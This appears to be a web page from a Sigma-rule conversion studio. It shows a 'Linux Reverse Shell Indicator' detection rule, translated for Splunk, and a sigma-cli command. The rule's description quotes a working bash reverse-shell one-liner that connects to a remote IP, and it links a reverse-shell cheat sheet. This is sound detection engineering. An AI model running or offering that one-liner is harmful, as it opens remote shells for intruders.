Phoenix Studio
Convert indexed Sigma rules into analyst-ready detections.
This studio is built around Phoenix's own rule corpus, not a blank editor. Search by title or rule id, choose a live sigma-cli backend, then reveal pipelines only when you actually need them.
Indexed Rules
3,707
Ready to search
Backends
17
Live from sigconverter.io
CLI Versions
10
Newest: 2.0.2
Translation Workspace
Shape the rule before it leaves Phoenix
Tune Translation
Active Rule
Linux Reverse Shell Indicator
Target Profile
Splunk
Splunk SPL & tstats data model queries
Format Mode
Default
Plain SPL queries
Conversion Output
Linux Reverse Shell Indicator
Using Splunk · Default · sigma-cli 2.0.2
Translation controls
Adjust the rule on the left, then regenerate when you want a fresh backend-native query.
BackendSplunkFormatDefaultVersion2.0.2
title: Linux Reverse Shell Indicator
id: 83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871
status: test
description: Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')
references:
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
author: Florian Roth (Nextron Systems)
date: 2021-10-16
modified: 2022-12-25
tags:
- attack.execution
- attack.t1059.004
logsource:
product: linux
category: network_connection
detection:
selection:
Image|endswith: '/bin/bash'
filter:
DestinationIp:
- '127.0.0.1'
- '0.0.0.0'
condition: selection and not filter
falsepositives:
- Unknown
level: critical
CLI command
Copy the exact command to reproduce this translation locally.
sigma convert --without-pipeline -t splunk -f default rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml